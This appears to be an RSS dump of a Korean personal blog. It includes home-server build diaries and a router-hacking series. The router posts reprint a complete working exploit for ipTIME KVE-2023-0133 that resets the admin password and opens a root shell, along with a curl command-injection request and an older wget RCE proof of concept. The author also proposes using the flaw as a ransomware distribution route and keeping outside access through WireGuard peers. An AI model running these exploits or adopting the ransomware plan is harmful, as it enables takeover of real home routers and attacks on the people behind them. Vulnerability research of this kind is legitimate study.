<p>그래서 다른 정보를 찾던중에 번개장터에 올라온 글 한개를 봤다. 나와 같은 보드를 사용한 사람이다.</p>
<p>그래서 나는 일단 연락을 했다. <del>원래는 이 보드 부팅안되면 이거 반품하고 살 생각이었음</del></p>
<p>이래저래 거래자와 대화를 했는데, 보니까 서버램을 사용하셨다고 했다.</p>
<p>젠장, 난 이전 데스크탑인 친구를 살려서 쓴거기에 일반 데탑용 RAM을 사용했었다.</p>
<p>그렇게 번개장터에서 서버램 테스트용으로 한개를 구매했고 이걸로 부팅을 해봤다.</p>
<p>젠장, 부팅에 성공했다. 결론은 데탑용 RAM이라서 그런것이었다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/ad18d5aa-e7f1-4ae7-a803-3a4d03c7618e/image.PNG" alt=""></p>
<p>보니까 서버용 ECC REG RAM을 사용해야했다.</p>
<p>이렇게 서버를 살리는데는 성공했고,</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/795b8d2d-0f26-4b66-a7e6-f6c8555e9b4f/image.PNG" alt=""></p>
<p>중고 서버램을 거래했던 거래자 분에게 남은 RAM을 거래했다.</p>
<p><img src="https://lh4.googleusercontent.com/proxy/O53MDlTMza-mjkqgYR8hYVAwEFRQqycMjWPB-7gDm0C-GV-5r-2fQd3kvtXWRqoqUOIIbnzb5mZ0YwJ2G5ola8DFtm_zJIuJ0JzO" alt=""></p>
<h1 id="끼얏호인데-엄">끼얏호인데 엄...</h1>
<p>서버를 살려내고 RAM이 도착해서 꽂았다.</p>
<p>엄, 근데 문제가 생겼다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/1f0652a0-b385-42c3-9e0f-6d42f8453019/image.PNG" alt=""></p>
<p><strong>갸같은 쿨러 히트싱크</strong> 때문에 반품기한이 지난 랙마운트를 그라인더로 도려냈다.</p>
<p>세상에 문제가 하나 더 생겼다.</p>
<p>쿨러 팬 날 하나가 부러졌다. 팬 새로 사고 설치하기 귀찮아서 그냥 맞은편 날도 부숴버렸다. <del>대충 균형만 맞으면 되는거지</del></p>
<p>그렇게 설치를 하고 서버를 켰다.
<code>사진 누르면 영상을 보실 수 있습니다. (소리가 웃음벨임 그냥.)</code></p>
<p><a href="https://youtube.com/shorts/cl1XcgA1TkM"><img src="https://img.youtube.com/vi/cl1XcgA1TkM/0.jpg" alt="YT link"></a></p>
<p>덜덜덜덜덜... 부러진 팬때문에 엄청 떨고 있다. 이걸 4기통 서버라고 부르기로 했다.</p>
<h1 id="다음-이야기">다음 이야기</h1>
<p>서버 구성을 끝내고 다시 설치한 proxmox가 새로운 시스템을 인식하는지 알아보게 된다.</p>
<p>이후에 램을 몇개 더 추가해서 128GB RAM 구성에 성공한다.</p>
<p>기대하시길</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Server] 홈서버 업그레이드 탐험기 - 01]]></title>
            <link>https://velog.io/@z_coke/server-upgrade-01</link>
            <guid>https://velog.io/@z_coke/server-upgrade-01</guid>
            <pubDate>Sat, 30 Aug 2025 15:29:45 GMT</pubDate>
            <description><![CDATA[<h1 id="시작에-앞서">시작에 앞서</h1>
<p>나는 현재까지 꽤 오랜기간동안 홈서버를 놓고 써왔다. 이 일대기를 간단하게 짚고 넘어가보겠다.</p>
<blockquote>
<ol>
<li>첫번째 서버는 10만원짜리 미니PC에 Ubuntu 위에 Docker 기반 가상화 시스템으로 시작.(2022 ~ 2023. 11. )<ul>
<li>개인 홈 웹서비스, 블로그, 마크서버 등등 다양한 활동을 시작한 시작점이다.</li>
<li>여기서 Docker 이미지 만들기, Docker-compose 등 댜양한 docker 관련 도구를 학습하고 습득했다.</li>
</ul>
</li>
<li>두번째 서버인 집에서 죽어가던 데탑에 싸구려보드로 갈아끼우고 32에서 64GB RAM 구성의 Proxmox 기반 가상화 시스템으로 발전.(2023. 11. ~ 2025. 07. )<ul>
<li>윈도우 환경이 필요해서 컨테이너, VM 환경 둘다 돌릴 수 있는 Proxmox로 OS 선정.</li>
<li>바꾼 이유는 마크까지 돌리기엔 서버 자원이 너무 부족했음.</li>
<li>이 때 맥북으로 넘어오면서 보안공부할 때 쓸 windows가 필요했는데 에뮬레이팅 그딴거 집어치우고 여기서 VM으로 올려서 원격으로 썼음.</li>
<li>2024년도 쯤에 살짝 미쳐가지고 마크서버만 한 2-3개 돌아가고 windows 3개씩 돌아가고 하니까 서버 자원이 부족함.</li>
<li>대학교 입학하고 나서부터 조금씩 서버 규모를 확장할 계략을 세움.</li>
</ul>
</li>
</ol>
</blockquote>
<p>하여튼 이렇게 흘러가서 결정적으로 좀 스케일이 커진? 홈서버를 구축하게 되었다.</p>
<p>서버를 어떻게 구성했길래 크다고 하는걸까?</p>
<p>사양은 대충 이렇다.</p>
<blockquote>
<ul>
<li>사양<ul>
<li>CPU: 제온 E5-2680 v4 2개</li>
<li>RAM: 128GB</li>
<li>Storage: 현재있는거(4TB HDD) + 최소 2TB SSD 증설</li>
</ul>
</li>
</ul>
</blockquote>
<p>대강 이렇다.</p>
<p>홈서버에 CPU가 2개 박혀있고 RAM만 128GB? ㅎㅎㅎㅎㅎ 미친짓이다. 근데 그걸 현실화 했다.</p>
<p>일단 지르고 보기로 했다.</p>
<h1 id="이-프로젝트의-트리거">이 프로젝트의 트리거</h1>
<p>내가 예전에 봤던 뻘짓연구소의 영상이 알고리즘에 떴다.</p>
<p>나는 자연스럽게 봤는데 이게 바로 알리발 듀얼 CPU 서버 보드였다. <del>JINGSHA였나? 암튼 그렇다.</del></p>
<p>처음에는 이거를 보고 눈이 회까닥 해버려서 지르려고 했는데 당시에 나는 돈없는 학생이었기에 대체품을 찾아나섰다.</p>
<p>이때 찾은게 바로 MOUGOL X99 DUAL 이었다.</p>
<p>뭐 평도 나쁘지 않았고 해서 바로 그자리에서 질렀다. 지를때 9만원 정도 했다.</p>
<p>한 2주가 지났나? 통관되고 CJ를 통해서 아침에 일어나니까 도착해있었다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/33bb601f-b8e1-4c76-b012-d52e25a57ed2/image.PNG" alt=""></p>
<p>배송받고 좋아가지고 바로 올린 사진이다.</p>
<h1 id="비극의-시작">비극의 시작</h1>
<p>이렇게 꽃길만 있었으면 얼마나 좋았을까?</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/8263fae5-fd4c-4fdc-9f58-d4936e5935f1/image.PNG" alt=""></p>
<p>바로 그냥 희망은 산산조각이 나버렸다.</p>
<p>가장 큰 문제는 일단 기존 파워에 CPU 전원이 1개만 있다는 것과 케이스가 쿨러때문에 닫히지 않는다는 것이였다.</p>
<p>그래도 보드까지 샀는데 포기할 수 없지.</p>
<p>나는 바로 파워를 결제할...수는 없어서 일단</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/de74410e-3f9c-46c6-9e9a-efad6672b787/image.PNG" alt=""></p>
<p>우스꽝스럽지만 다시 넣기에는 너무 귀찮아서 저렇게 두었다.</p>
<p>저렇게 놨는데도 잘돌아가더라... 하지만 먼지가 미친듯이 꼈다.</p>
<p>이후에 랙마운트(서버용 케이스)하고 모듈러 파워 좋은걸로 구해서 끼웠다.</p>
<p>근데 이게 뭐지. 왜 어째서 그래픽 출력 단자가 없는것인가</p>
<p>그래서 화면출력기 수준의 그래픽 카드도 꽂아놓았다.</p>
<p>이렇게 하니까 나를 반겨주는 화면이</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/6ce90912-590a-48c4-b93c-78ecf8326540/image.PNG" alt=""></p>
<p><strong>이거였다. 에라이 인생. 내 3년간의 데이터가 모조리 날라갔다.</strong></p>
<p>내가 조립하면서 하드 마운트하는 부분이 있었는데 여기에 끼우다가 잘못하고 전원하고 SATA 선을 건들였던것으로 보인다. <del>지금 생각해도 욕이 마렵지만 참아보겠다.</del></p>
<p>여튼간에 이렇게 날라간 내 데이터를 당연히 지켜볼 수만은 없으니까 돌아가신 저장장치가 하드라는 점을 감안해서 관련 복구 툴을 써보면서 찾아봤다.</p>
<p>결론 -&gt; <strong>자비따윈 없다. 개같이 데이터 멸망.</strong></p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/4bb4f083-8ae4-4857-9fe9-c4cf20ffb840/image.png" alt=""></p>
<p>그 때 당시를 대변하는 스토리에 올린 글이다.</p>
<p>일단 하나는 살아있었기에 부팅을 해봤다. 왜인지 부팅에 실패했다.</p>
<p><strong>찾아보니까 데이터 핑거스냅 당한 하드가 ZFS더라... 처음에 Proxmox 깔때는 이딴거 응-애 였기에 Proxmox Installer가 시키는대로 했었다.</strong></p>
<p><strong>ZFS임을 보고 깨달았다. RAID로 처 묶여있었다.</strong> <del>RAID 몇인지는 모르는데 복구가 안됌. 하기도 겁나게 번거로움</del></p>
<p>그래서 그냥 전부 날려주기로 했다. 어쩔수 있나 보내줘야지.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/8d5f2c81-cf0c-4e71-8dd8-b7f7eb3f0b7b/image.png" alt=""></p>
<p>그렇게 보내주고 아직 다음편에 다룰 어떤 문제 때문에 부팅이 안되서 이전 시스템에서 Proxmox를 다시 깔고, 급하게 필요한 서비스 몇개만 설치해서 전처럼 올렸다.</p>
<h1 id="다음-이야기">다음 이야기</h1>
<p>다음에는 더 큰 재앙이 서버를 깨우지 못하게 하며, 알리에서 무려 교환을 쳐 받게 된다. <del>레전드 그냥 레전드</del></p>
<p>하지만 왜 받아도 안되는 걸까? 결론적으로는 교환은 개 뻘짓이었다.</p>
<p>험난한 서버 구축 여정은 계속된다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[ipTIME] 공유기 씹.뜯.맛.즐 해보기 - 03]]></title>
            <link>https://velog.io/@z_coke/iptime-03</link>
            <guid>https://velog.io/@z_coke/iptime-03</guid>
            <pubDate>Tue, 03 Jun 2025 17:08:12 GMT</pubDate>
            <description><![CDATA[<h1 id="0-지난-이야기">0. 지난 이야기</h1>
<blockquote>
<p>새로운 방향을 찾고 공유기의 1-day를 이용한 해킹에 성공했다.
하지만 나의 멍청한 실수로 인해서 테스트 기기였던 V504를 벽돌로 만들어버리게 된다.</p>
</blockquote>
<h1 id="1-hell-no">1. HELL NO</h1>
<p>지난번에 다 성공해놓고 구할 수도 없는 모델을 날려먹는 바람에 기기를 다시 살리느냐, 아니면 다른 기기로 다른 취약점을 찾냐의 결정으로 넘어갔다.</p>
<p>나는 일단 살려보자라는 생각이었기에 바로 chatGPT한테 물어봤다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/e48cf99d-6213-4195-aa62-2dd2380c52bc/image.png" alt=""></p>
<p>일단 첫번째 상태였던것 같다. UART 연결해도 입출력이 모두 안되는 상황이었고 LED만 전부 들어와있는 상태였다.</p>
<p>여기서 망삘을 감지했는데, U-Boot가 날라갔을 가능성이 있다는 것이었다.</p>
<blockquote>
<p><strong>U-Boot란?</strong></p>
<p>Universal Boot Loader의 줄임말로, 주로 임베디드 시스템에서 사용하는 부트로더이다. 쉽게 말해서, 리눅스 커널이나 운영체제를 메모리로 로드하고 실행하는 역할을 한다.</p>
</blockquote>
<p>이 U-Boot가 날라간게 맞다면 커널보다 먼저 작동되는 부트로더가 날라간(깨진) 상황이었다. </p>
<p>기계입장에선 <code>&#39;아니 ㅅㅂ 그래서 뭘 부팅해야하는건데;;; 알려줘야 하지;;&#39;</code> 와 같은 상황이었기에 CPU를 때서 롬 라이터 같은걸로 부트로더를 굽던지 해야하는 미친 난이도의 해결과제가 생겨버린 것이었다.</p>
<p>나는 이런 미친 짓에 할애할 시간이 넘쳐나는 사람도 아니고 관련 장비가 없기에 <strong>살리기 작전을 포기하고 다른 기기에서 다른 취약점을 찾기로 결정했다.</strong></p>
<h1 id="2-새로운-타겟과-취약점-찾기">2. 새로운 타겟과 취약점 찾기</h1>
<p>하... 이번 과정에서 제일 빡셌다..</p>
<p>다른 기기에서 다른 취약점을 찾겠다고 마음먹었을 때는 <code>&#39;그 까짓거 취약점 하나라고 더 없겠어?&#39;</code> 라는 오만한 생각으로 시작한거였다.</p>
<p>진짜 문제가 일단 나는 ipTIME 기기만을 대상으로 생각했기에 더더욱 취약점을 찾기가 힘들었다.</p>
<p>일단 국내 제품의 취약점이기에 KVE를 발급받는 경우가 많은데, <strong>CVE 대비 KVE는 정보 찾기 난이도가 HELL 이다.</strong></p>
<p>그리고 이를 제조사 측에서 어떤건지 상세히 공개해주면 좋겠지만 국내에선 이런 정보를 상세히 공개하는 것을 상당 수의 국내 기업이 꺼려하기에 더더욱 정보 찾기가 빡셌다.</p>
<p><img src="https://velog.velcdn.com/images%2Fyeonlisa%2Fpost%2F4d97003b-09ad-4e7e-b693-7dd3b17516fb%2F4164335_1582361978747.gif" alt=""></p>
<p>할 수 없이 이전에 찾는데 사용했던 키워드와 새로운 타겟 기기를 키워드로 다시 구글링을 시작했다.</p>
<p>여기서 타겟 기기와 다른 기기지만 타겟 기기와 같은 버전의 펌웨어에서 발생한 KVE-2023-0133 PoC를 찾았다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/10795bf8-de20-47f7-a727-79246e74f560/image.png" alt=""></p>
<p>위 취약점은 ipTIME AX2004M의 14.19.0 버전의 펌웨어에서 발생한 RCE 취약점이었다.</p>
<p>타겟 기기였던 T5004에도 적용되었던 버전이었기에 이 버전의 펌웨어를 사용해서 테스트를 진행했다.</p>
<blockquote>
<p><strong>왜 구입했던 A3004T가 아니라 왜 T5004를 타겟으로 진행했나?</strong></p>
<p>원래 T5004는 내가 서버 망을 구성하기 위해서 사용중이던 유선 라우터다.
근데 이번 기회에 A3004T 유무선 공유기를 사게 되었는데, 너무 좋은 것이다 ㅎㅎ <del>NAS 지원을 어케 참냐고 ㄷㄷ</del>
그래서 이번에 T5004에서 A3004T로 서버망 라우터 변경하고 T5004를 타겟으로 테스트를 진행하게 되었다 :)</p>
</blockquote>
<h1 id="3-kve-2023-0133-1-day-분석">3. KVE-2023-0133 1-day 분석</h1>
<p><a href="https://github.com/kaist-hacking/KVE-2023-0133/blob/main/README.md">PoC 정보</a></p>
<p>일단 웹서버 설정에 결함이 있는데, <code>boa_vh.80.conf</code> 라는 설정 파일에서의 문제가 있다.</p>
<pre><code class="language-conf">Port 80
User root
Group root
ServerAdmin root@localhost
VirtualHost
DocumentRoot /home/httpd
UserDir public_html
DirectoryIndex index.html
KeepAliveMax 100
KeepAliveTimeout 10
MimeTypes /etc/mime.types
DefaultType text/plain
AddType application/x-httpd-cgi cgi
AddType text/html html
AddType image/svg+xml svg
ScriptAlias /sess-bin/ /cgibin/
ScriptAlias /nd-bin/ /ndbin/
ScriptAlias /login/ /cgibin/login-cgi/
ScriptAlias /ddns/ /cgibin/ddns/</code></pre>
<p><code>/home/httpd</code> 가 DocumentRoot로 지정되어 있는 것을 볼 수가 있는데, <code>/home/httpd/cgi</code> 를 보면,</p>
<pre><code class="language-bash">$ ls -als ./home/httpd/cgi
total 476
  4 drwxr-xr-x  2 zerocoke zerocoke   4096 May 11 02:32 .
  4 drwxrwxrwx 25 zerocoke zerocoke   4096 May 10 10:27 ..
 20 -rwxr-xr-x  1 zerocoke zerocoke  18016 Jan  1  1970 iux.cgi
 20 -rwxr-xr-x  1 zerocoke zerocoke  19372 Jan  1  1970 iux_download.cgi
136 -rwxr-xr-x  1 zerocoke zerocoke 135796 Jan  1  1970 iux_get.cgi
112 -rwxr-xr-x  1 zerocoke zerocoke 113472 Jan  1  1970 iux_set.cgi
  8 -rwxr-xr-x  1 zerocoke zerocoke   5820 Jan  1  1970 service.cgi
172 -rw-r--r--  1 zerocoke zerocoke 173261 May 11 02:32 service.cgi.idb
  0 lrwxrwxrwx  1 zerocoke zerocoke     19 Jan  1  1970 timepro.cgi -&gt; /cgibin/timepro.cgi
  0 lrwxrwxrwx  1 zerocoke zerocoke     19 Jan  1  1970 upgrade.cgi -&gt; /cgibin/upgrade.cgi</code></pre>
<p>내부에 cgibin/timepro.cgi를 가르키는 심볼릭 링크가 있어서 인증이 없어도 <code>http://{host}/cgi/timepro.cgi</code> 로 접근이 된다.</p>
<p>내부에 <code>timepro.cgi</code>바이너리를 보기 위해서 binwalk를 이용해서 펌웨어를 뜯어서 봐야한다. 이걸 까보면,</p>
<pre><code class="language-c">e_log_init(&quot;cgi.timepro&quot;);
if ( httpcon_check_session_url() &amp;&amp; !httpcon_auth(1, 1) )
    return 0;</code></pre>
<p>이런 코드가 있는데, 이게 어드민 페이지의 인증 검증 코드이다.</p>
<ul>
<li>if 조건문의 반환값:<ul>
<li>0: 인증 성공 -&gt; if문이 실행되지 않음.</li>
<li>1: 인증 실패 -&gt; 프로그램 종료 (return 0)</li>
</ul>
</li>
</ul>
<p>어째서 실행이 안되었냐면, <strong><code>&amp;&amp;</code> 가 일으킨 오류였다.</strong></p>
<p><code>&amp;&amp;</code> 로 AND 연산하게 된다면 앞이 0일 경우, 뒤의 결과를 연산하지 않는 특성이 있다.</p>
<p>결론적으로 <code>&amp;&amp;</code> 로 인해 <code>httpcon_auth()</code> 함수가 실행되지 않았고 앞에 반환값인 세션 체크 부분만 사용해 반환값이 <code>0</code> 으로 반환되며 인증 성공으로 오류가 나면서 <strong>&#39;인증&#39;없는 &#39;인증&#39;함수가 되어버렸다.</strong></p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/83b241f3-47e2-4d47-a22f-5de140ee6c34/image.png" alt=""></p>
<p>이래서 최종적으로 아래와 같은 익스플로잇을 작성해주면 끝이다.</p>
<pre><code class="language-python"># exploit.py 내 주요 기능
def reset_passwd(self, captcha_file, captcha_code):
     timepro_cgi = self.base_url + &#39;/cgi/timepro.cgi&#39;
     data = {
         &#39;act&#39;: &#39;save&#39;,
         &#39;tmenu&#39;: &#39;iframe&#39;,
         &#39;smenu&#39;: &#39;hiddenloginsetup&#39;,
         &#39;captcha_file&#39;: captcha_file,
         &#39;captcha_code&#39;: captcha_code,
         &#39;new_passwd&#39;: self.args.password,
         &#39;new_login&#39;: self.args.id
     }

     r = requests.post(timepro_cgi, data=data, headers={&#39;referer&#39;: self.base_url})</code></pre>
<p> 위와 같이 익스플로잇을 짜게 되면 패스워드를 내 맘대로 비번을 설정할 수 있다.</p>
<p>근데 여기서 끝이 아니다. <strong>쉘까지 딸 수 있다.</strong></p>
<p><strong>내가 전 포스팅에서 설명한 무시무시한 원격 지원 기능이 <code>timepro.cgi</code> 에 아직 살아있다.</strong></p>
<pre><code class="language-bash">$ curl -X POST &quot;http://target/sess-bin/timepro.cgi&quot; \
  -d &quot;tmenu=diagnosis&amp;smenu=remote_support&amp;act=start&quot; \
  -d &quot;command=;[내가 쓰고 싶은 명령어]&quot;</code></pre>
<p>이런 리퀘를 날리면 <strong>-GAME OVER-</strong></p>
<h1 id="31-kve-2023-0133-rce-1-day-exploit">3.1. KVE-2023-0133 RCE 1-day Exploit</h1>
<p>이번에는 번거롭게 내가 Exploit code를 짤 필요가 없다.</p>
<p>상대적으로 최신 펌웨어라서 그런지 python3 기반 Exploit code를 이 PoC를 작성해준 차칸사람이 이미 짜놨다.</p>
<pre><code class="language-python">import requests
import io
import argparse
import re
import sys
from bs4 import BeautifulSoup

def parse_args():
    p = argparse.ArgumentParser()
    p.add_argument(&#39;cmd&#39;, choices=[&#39;reset_password&#39;, &#39;spawn_shell&#39;])
    p.add_argument(&#39;--host&#39;, required=True)
    p.add_argument(&#39;--port&#39;, default=80, type=int)
    p.add_argument(&#39;--password&#39;, default=&#39;pwned&#39;)
    p.add_argument(&#39;--id&#39;, default=&#39;root&#39;)
    return p.parse_args()

class Exploit(object):
    def __init__(self, args):
        self.args = args

    @property
    def base_url(self):
        return &#39;http://%s:%d&#39; % (self.args.host, self.args.port)

    def check_captcha(self):
        captcha_url = self.base_url + &#39;/sess-bin/captcha.cgi&#39;
        r = requests.get(captcha_url, headers={&#39;referer&#39;: self.base_url})
        return re.search(r&#39;/captcha/(.*).gif&#39;, r.text) is not None

    def crack_captcha(self):
        try:
            # TODO: merge with automatic way for captcha
            captcha_url = self.base_url + &#39;/sess-bin/captcha.cgi&#39;
            r = requests.get(captcha_url, headers={&#39;referer&#39;: self.base_url})
            captcha_file = re.search(r&#39;/captcha/(.*).gif&#39;, r.text).group(1)
            print(f&#39;[*] Solve captcha from {self.base_url}/captcha/{captcha_file}.gif&#39;)
            captcha_code = input().strip()
            assert(len(captcha_code) == 5)
            return captcha_file, captcha_code
        except AttributeError:
            return None, None

    def login(self, username, passwd):
        captcha_file, captcha_code = self.crack_captcha()
        login_cgi = self.base_url + &#39;/sess-bin/login_handler.cgi&#39;
        data = {
            &#39;username&#39;: username,
            &#39;passwd&#39;: passwd,
            &#39;captcha_code&#39;: captcha_code,
            &#39;captcha_file&#39;: captcha_file,
            &#39;init_status&#39;: 1,
            &#39;captcha_on&#39;: 1
        }
        r = requests.post(login_cgi, data=data, headers={&#39;referer&#39;: self.base_url})
        m = re.search(&quot;setCookie\(&#39;(.*)&#39;\);&quot;, r.text)
        return m

class ResetPassword(Exploit):
    def reset_passwd(self, captcha_file, captcha_code):
        timepro_cgi = self.base_url + &#39;/cgi/timepro.cgi&#39;
        data = {
            &#39;act&#39;: &#39;save&#39;,
            &#39;tmenu&#39;: &#39;iframe&#39;,
            &#39;smenu&#39;: &#39;hiddenloginsetup&#39;,
            &#39;captcha_file&#39;: captcha_file,
            &#39;captcha_code&#39;: captcha_code,
            &#39;new_passwd&#39;: self.args.password,
            &#39;new_login&#39;: self.args.id
        }

        r = requests.post(timepro_cgi, data=data, headers={&#39;referer&#39;: self.base_url})
        if not &#39;GotoLoginPage&#39; in r.text:
            print(&#39;[-] Failed to reset&#39;)
            sys.exit(-1)

        print(f&#39;[+] Successfully reset password: id={self.args.id}, pw={self.args.password}&#39;)

    def enable_captcha(self):
        for i in range(10):
            if self.check_captcha():
                return

            self.login(&#39;aaaa&#39;, &#39;bbbb&#39;) # failed login to enable captcha

        print(&#39;[-] Failed to enable captcha&#39;)
        sys.exit(1)


    def run(self):
        self.enable_captcha()
        captcha_file, captcha_code = self.crack_captcha()
        self.reset_passwd(captcha_file, captcha_code)

class SpawnShell(Exploit):
    def __init__(self, args):
        self.args = args

    def run(self):
        self.setup_remote_support()

        sess_id = self.login(self.args.id, self.args.password).group(1)
        while True:
            print(&#39;$ &#39;, end=&quot;&quot;)
            cmd = input()
            self.spawn_shell(cmd, sess_id)

    def setup_remote_support(self):
        timepro_cgi = self.base_url + &#39;/cgi/timepro.cgi&#39;
        data = &#39;tmenu=iframe&amp;smenu=sysconf_misc&amp;service=remotesupport&amp;run=&amp;hostnameh=&amp;autosavingh=&amp;beeper=&amp;pwremail=&amp;mgmt_port=&amp;fakednsh=&amp;dhcp_auto_restart_1=&amp;nologinh=&amp;wbmpopuph=&amp;remotesupporth=1&amp;apcplanh=&amp;keepconnh=&amp;ledh=&amp;ledstart=&amp;ledend=&amp;autorebooth=&amp;everyday=&amp;autorebootHour=&amp;autorebootMin=&amp;sun=&amp;mon=&amp;tue=&amp;wed=&amp;thu=&amp;fri=&amp;sat=&amp;restarth=&amp;upnph=&amp;multilang_lang=&amp;server_list=&amp;server_edit=&amp;gmtidx=&amp;summer_flag=&#39;

        r = requests.post(timepro_cgi, data=data, headers={&#39;referer&#39;: self.base_url})

        if not &#39;remotesupport&#39; in r.text:
            print(&#39;[-] Failed to reset_password&#39;)
            sys.exit(-1)

        print(&#39;[+] Successfully enable remotesupport&#39;)

    def spawn_shell(self, cmd, sess_id):
        d_cgi = self.base_url + &#39;/sess-bin/d.cgi&#39;
        data = {
            &#39;act&#39;: 1,
            &#39;fname&#39;: &#39;&#39;,
            &#39;cmd&#39;: cmd,
            &#39;aaksjdkfj&#39;: &#39;!@dnjsrurelqjrm*&amp;&#39;,
            &#39;dapply&#39;: &#39; Show &#39;
        }

        r = requests.get(d_cgi, params=data,
                headers={
                    &#39;referer&#39;: self.base_url,
                    &#39;Cookie&#39;: f&#39;efm_session_id={sess_id}&#39;})

        soup = BeautifulSoup(r.text, &#39;html.parser&#39;)
        print(soup.find(&#39;pre&#39;).text)

if __name__ == &#39;__main__&#39;:
    args = parse_args()
    if args.cmd == &#39;reset_password&#39;:
        exploit = ResetPassword(args)
        exploit.run()
    else:
        exploit = SpawnShell(args)
        exploit.run()</code></pre>
<p>아주 그냥 편하게 만들어놨다. 심지어 ID하고 패스워드를 인자로 원하는대로 넣을 수 있다.</p>
<p>!youtube[gLF41JD-izk]</p>
<p>위 영상은 익스플로잇 테스트 영상이다. 한번 올려봤다.</p>
<h1 id="311-레전드-업데이트-발견">3.1.1. 레전드 업데이트 발견</h1>
<p>이 취약점이 KISA에 신고 된건 2023년 3월 쯤 인것 같은데, 6월에 패치가 진행된 것 같다.</p>
<p>근데 이 중간에 있는 업데이트는 해당 취약점이 패치되지 않았다.</p>
<p>중간에 업데이트가 두세번 있었는데 레전드 업데이트가 떴다.</p>
<p><strong>바로, Wireguard 내장 업데이트다.</strong></p>
<p>이게 미친 이유가 <strong>단순히 이 취약점이 있는 내부망에서 Exploit을 진행하고 벗어나도 해당 Wireguard 피어를 발급받아서 외부에서도 내부망에 접근할 수 있다는 것이다.</strong></p>
<p>진짜 미친 취약점이라는 뜻.</p>
<p>최종적으로 이를 내부망 사용자들의 랜섬웨어 배포경로로서 사용하면 된다.</p>
<h1 id="4-결론">4. 결론</h1>
<p>간단하게 정리해보겠다.</p>
<ul>
<li>KVE-2023-0133 취약점 PoC로 이전 취약점보다 상대적 최신 공유기를 대상으로 RCE가 가능해졌고 관리자 페이지 로그인 정보 탈취에 성공했다.</li>
<li>이 취약점이 EFM Networks에 까지 전해지기에 걸린 시간동안 나온 패치에서 Wireguard를 내장 업데이트가 있었고, 이로서 외부에서도 내부망에 접근할 수 있게 되었다.</li>
</ul>
<p>이처럼 꽤나 긴 여정이 끝이 났다.</p>
<p>추후 이를 이용한 랜섬웨어 배포 경로가 완성되어서 공유할 수 있다면 공유해보겠다.</p>
<p><strong>그럼 이만</strong></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[ipTIME] 공유기 씹.뜯.맛.즐 해보기 - 02]]></title>
            <link>https://velog.io/@z_coke/iptime-02</link>
            <guid>https://velog.io/@z_coke/iptime-02</guid>
            <pubDate>Tue, 03 Jun 2025 12:25:17 GMT</pubDate>
            <description><![CDATA[<h1 id="0-지난-이야기">0. 지난 이야기</h1>
<blockquote>
<p>지난번 구매했던 ipTIME A3004T를 구매하고 A3004T에 openWRT까지 올렸다.
하지만 CPU 아키텍처의 문제로 Docker 데몬이 설치되지 않는 것을 알게 되었고 다른 방법을 찾아보게 되는데...</p>
</blockquote>
<h1 id="1-절망과-새로운-방향-찾기">1. 절망과 새로운 방향 찾기</h1>
<p>지난번에는 Docker 설치가 불가능하고 공유기 주제에 고사양만 타겟팅이 가능하다는 사실에 절망했다.</p>
<p>하지만, 여기서 포기하지 않고 계속해서 새로운 방법을 찾아보았다.</p>
<p>여기서 제일 먼저 떠올랐던 생각이 <strong>&#39;그냥 공유기는 업데이트를 잘 안하니까 1-day 취약점만으로도 공격이 가능하지 않을까?&#39;</strong> 였다.</p>
<p>나는 이 생각을 기점으로 구글에 &#39;iptime RCE&#39;, &#39;iptime vulnerability&#39; 등 웬만한 키워드를 다 넣어서 검색해봤다.</p>
<p>스크롤을 하다가 괜찮은 이름을 발견했고 바로 링크를 눌러봤다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/525e76f8-0b69-4a76-aabb-611d9b0d238e/image.png" alt=""></p>
<p>꽤 오래전에 작성된 보안 블로그였던 것 같았다. <del>현재 버전이 15.09.0 이다.</del></p>
<p>이걸 처음 발견했을때 생각보다 나쁘지 않았다는 생각을 했다.</p>
<p>일단 공유기를 대부분의 사람들이 TV장 아랫쪽에 넣어놓고 방치하는 경우가 많기때문에 업데이트를 잘 하지 않는 경우가 대다수다.</p>
<p>심지어 ipTIME은 자동 업데이트가 기본값임에도 불구하고 사용자가 직접 공유기 관리자 페이지에 접속해야만 할건지 안할건지 물어본다. <del>이건 현재까지도 계속 되는 문제다.</del></p>
<p>이처럼 생각을 했고 9.58이라는 버전이 정말 오래되긴 했지만 될것 같아서 바로 진행해봤다.</p>
<h1 id="2-iptime-958-rce-1-day-분석">2. ipTIME 9.58 RCE 1-day 분석</h1>
<p><a href="https://pierrekim.github.io/blog/2015-07-01-poc-with-RCE-against-127-iptime-router-models.html">PoC 정보 (신고자인 피에르 킴의 블로그)</a></p>
<p>앞서, 이 취약점은 ipTIME의 개발사인, EFM Networks에 직접 취약점 발견자(피에르 킴)가 2015년에 신고한것으로 추정되며 이로 인해서 CVE나 KVE가 발급되지 않았다.</p>
<p>하지만 신고자가 자기 블로그에 상세한 PoC를 공개해놓았기에 이를 한번 정리해보고자 한다.</p>
<p>ipTIME 공유기의 9.58 이전 버전을 가진 대부분의 공유기(확인된 기기만 127개) 펌웨어에서 발생하는 것을 볼 수 있다.</p>
<p>9.58 이전 버전엔 윈격 지원이라는 무시무시한 기능이 존재했다.</p>
<p>이게 왜 무시무시 했냐면 이를 사용하면 공유기의 root 권한을 가지고 있는 웹쉘을 사용할 수 있었기 때문이다.</p>
<p>현재로서는 상상할 수 없는 기능이다. root 웹쉘이 공유기 자체에 들어있다니.</p>
<p>이 RCE 취약점은 이 원격 지원 기능의 취약점을 찾았다고 생각한다.</p>
<h2 id="950-이전-펌웨어-poc-코드">9.50 이전 펌웨어 PoC 코드</h2>
<pre><code class="language-bash">#!/bin/sh

if [ ! $1 ]; then
  echo &quot;Usage:&quot;
  echo $0 ip command
  exit 1
fi

wget -qO- --post-data=&quot;echo &#39;Content-type: text/plain

&#39;; PATH=$PATH:/sbin $2 $3 $4&quot; http://$1/cgi-bin/sh</code></pre>
